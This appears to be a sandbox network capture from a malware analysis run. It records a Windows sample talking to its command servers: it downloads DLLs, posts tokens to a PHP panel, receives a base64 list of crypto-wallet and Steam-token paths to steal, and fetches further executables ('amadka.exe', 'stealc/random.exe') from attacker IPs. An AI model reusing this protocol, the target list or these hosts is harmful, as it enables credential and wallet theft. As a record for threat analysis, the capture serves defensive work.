Jul 2, 2024 04:12:09.388655901 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jul 2, 2024 04:12:09.423113108 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jul 2, 2024 04:12:09.600281000 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:09 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jul 2, 2024 04:12:10.296381950 CEST	198	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBA Host: 85.28.47.4 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Jul 2, 2024 04:12:11.004637957 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:11.038325071 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGHJEBGHJKEBFHIJDHC Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 48 4a 45 42 47 48 4a 4b 45 42 46 48 49 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------GCGHJEBGHJKEBFHIJDHCContent-Disposition: form-data; name="message"wallets------GCGHJEBGHJKEBFHIJDHC--
Jul 2, 2024 04:12:11.218199015 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Jul 2, 2024 04:12:11.220980883 CEST	462	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIDAKFIJJKJJJKEBKJEH Host: 85.28.47.4 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 48 2d 2d 0d 0a Data Ascii: ------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------HIDAKFIJJKJJJKEBKJEHContent-Disposition: form-data; name="message"files------HIDAKFIJJKJJJKEBKJEH--
Jul 2, 2024 04:12:11.401989937 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:11.417960882 CEST	560	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGHDAFIDGDAAKEBFHDA Host: 85.28.47.4 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 44 41 46 49 44 47 44 41 41 4b 45 42 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHDAFIDGDAAKEBFHDAContent-Disposition: form-data; name="file"------JEGHDAFIDGDAAKEBFHDA--
Jul 2, 2024 04:12:12.136488914 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jul 2, 2024 04:12:12.162904978 CEST	467	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBAECBAEGDGDHIEHIJJ Host: 85.28.47.4 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 30 63 33 64 33 65 39 35 33 33 35 39 35 37 32 31 35 64 66 33 62 36 39 38 38 32 37 34 65 32 61 35 66 30 39 64 32 35 36 61 66 63 33 31 37 65 39 65 62 32 32 39 61 30 34 37 33 66 37 65 36 36 38 30 37 30 36 65 32 64 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 6a 62 64 74 61 69 6a 6f 76 67 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 4a 2d 2d 0d 0a Data Ascii: ------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="token"0c3d3e95335957215df3b6988274e2a5f09d256afc317e9eb229a0473f7e6680706e2d11------KFBAECBAEGDGDHIEHIJJContent-Disposition: form-data; name="message"jbdtaijovg------KFBAECBAEGDGDHIEHIJJ--
Jul 2, 2024 04:12:12.863430023 CEST	331	IN	HTTP/1.1 200 OK Date: Tue, 02 Jul 2024 02:12:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 104 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 63 33 4c 6a 6b 78 4c 6a 63 33 4c 6a 67 78 4c 32 31 70 62 6d 55 76 59 57 31 68 5a 47 74 68 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 47 68 30 64 48 41 36 4c 79 38 33 4e 79 34 35 4d 53 34 33 4e 79 34 34 4d 53 39 6a 62 33 4e 30 4c 32 64 76 4c 6d 56 34 5a 58 77 77 66 44 42 38 66 41 3d 3d Data Ascii: aHR0cDovLzc3LjkxLjc3LjgxL21pbmUvYW1hZGthLmV4ZXwwfDB8fGh0dHA6Ly83Ny45MS43Ny44MS9jb3N0L2dvLmV4ZXwwfDB8fA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	77.91.77.81	80	1864	C:\Users\user\Desktop\Wf9qnVcbi8.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:12:12.871340036 CEST	77	OUT	GET /mine/amadka.exe HTTP/1.1 Host: 77.91.77.81 Cache-Control: no-cache
Jul 2, 2024 04:12:13.584060907 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:12:13 GMT Content-Type: application/octet-stream Content-Length: 1907200 Last-Modified: Tue, 02 Jul 2024 01:58:58 GMT Connection: keep-alive ETag: "66835ee2-1d1a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PELafK@ L@XlKK @.rsrc@.idata @ 0+@lwthcuux1@rgejpvguK@.taggant0K"@
Jul 2, 2024 04:12:13.584074974 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 04:12:13.584178925 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 04:12:13.584187984 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 04:12:13.584211111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jul 2, 2024 04:12:13.584220886 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: :@Bh@%(q
Jul 2, 2024 04:12:13.584233046 CEST	1236	IN	Data Raw: c7 ed 24 5a f3 af 6f 2b 22 84 1c bd 7e 1b c7 a0 d7 c3 3b 07 82 fd 69 d0 e9 63 bb 07 b8 07 9c 2a 6b 76 40 e1 7a 83 71 74 f3 9f c6 a3 ca 07 cc cf c1 77 a4 30 bf d3 a6 64 bd 2f cd af d4 ff 9b 7c 7f 4f c1 06 df ee d6 df f3 df cc 94 f3 83 ba 78 38 87 Data Ascii: $Zo+"~;ickv@zqtw0d/\|Ox8kGJOrjH)~/4lGv;_L$/{/ji9Fk i7x7mGyOV-$cY"io`4
Jul 2, 2024 04:12:13.584247112 CEST	1236	IN	Data Raw: d2 57 2f 28 88 a3 4c 26 1f 00 5c bd 57 f1 70 c2 de 60 94 f6 ec 07 ef 78 c3 87 98 40 df 2e 1d a9 4d bf 4b 5c b6 13 04 17 6d 58 b2 c0 2e 54 71 c5 26 b3 80 07 f1 00 43 d9 42 16 9b 62 2b d1 00 78 35 25 aa 63 bb b6 34 df ea 6b b1 4f 0b e3 2a 12 38 1c Data Ascii: W/(L&\Wp`x@.MK\mX.Tq&CBb+x5%c4kO8@'@uLMHQiz}4bi/[5/q\|T_HQ}?-=m#/(C"hZcYJo;}Aaca'W
Jul 2, 2024 04:12:13.584258080 CEST	896	IN	Data Raw: 59 a5 9d f2 c7 67 23 3e 6d da fb eb 17 c1 e0 e4 39 24 a8 0c b2 d4 03 ee d7 63 a4 e5 72 95 96 a7 77 82 c8 14 d5 01 b1 6b a4 77 bb 3b 41 10 90 10 06 a7 70 ed ae bb 78 5e 0f bf 67 aa fc 89 a7 b8 3d 5c 26 2c 30 03 91 f1 39 e8 3b a2 0b ee e6 71 33 8b Data Ascii: Yg#>m9$crwkw;Apx^g=\&,09;q3<d!I37]7Lb/)4I(ZqRzqtcZ$-SW=Gm_{uxh&Gc\LH0.HJ(c'a[/f_Lw[4iK
Jul 2, 2024 04:12:13.584274054 CEST	1236	IN	Data Raw: cb 55 a8 b8 47 b1 9b 2e 1f 83 65 be 89 f0 a4 87 df 65 17 35 ff 27 af 5c fa 20 bc 5f 0a e2 86 01 c9 c8 9b 8a 9b 2f eb b3 ea f8 c7 6e bd 96 ab 38 10 89 20 89 b0 78 d2 90 f2 37 04 37 66 66 47 af a7 77 9b b1 5e 12 90 f4 56 43 88 b6 da 62 f0 ef 7a 04 Data Ascii: UG.ee5'\ _/n8 x77ffGw^VCbzvOBZDEP]tb4fLZ,h=Npzs{[0Ni@aa<^:kG^(~O{\|R #sz+cOw6GArwXeu9kO@zwvi
Jul 2, 2024 04:12:13.589128017 CEST	1236	IN	Data Raw: 19 f3 f3 65 c6 ea a7 49 15 2b ac 01 8c 2b 0a ff 34 fe 7c 56 18 d2 50 06 77 67 56 3c 72 a5 3b 08 b1 33 67 17 1d 70 94 f6 ef e7 cf fc 1f 0d 37 d6 32 62 2d 54 ff ed ca dd 82 d3 b5 00 12 05 64 78 f1 27 9c a5 2c 30 8a f7 5e 04 52 a0 c1 00 f9 ed d3 ee Data Ascii: eI++4\|VPwgV<r;3gp72b-Tdx',0^RU_0r\|f0>}0PeOwLp(h2cl??z[uG@ \|S(Z3kR:GHdde)iD$%]+Nx 4=dC+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	54801	77.91.77.82	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:03.305794954 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 04:13:04.010246038 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 04:13:04.102941036 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 45 37 37 42 30 35 39 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB72E77B05982D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 2, 2024 04:13:04.332595110 CEST	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 02:13:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 64 0d 0a 20 3c 63 3e 31 30 30 30 30 30 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 62 30 64 35 64 61 32 63 38 35 30 36 37 33 62 35 64 37 36 61 63 31 63 65 38 63 63 64 34 61 36 65 37 66 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 5d <c>1000006001+++b5937c1a99d5f9db0d5da2c850673b5d76ac1ce8ccd4a6e7f1fbd97e9c4543b31de15441#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	54802	77.91.77.81	80	7436	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 04:13:04.342902899 CEST	54	OUT	GET /stealc/random.exe HTTP/1.1 Host: 77.91.77.81
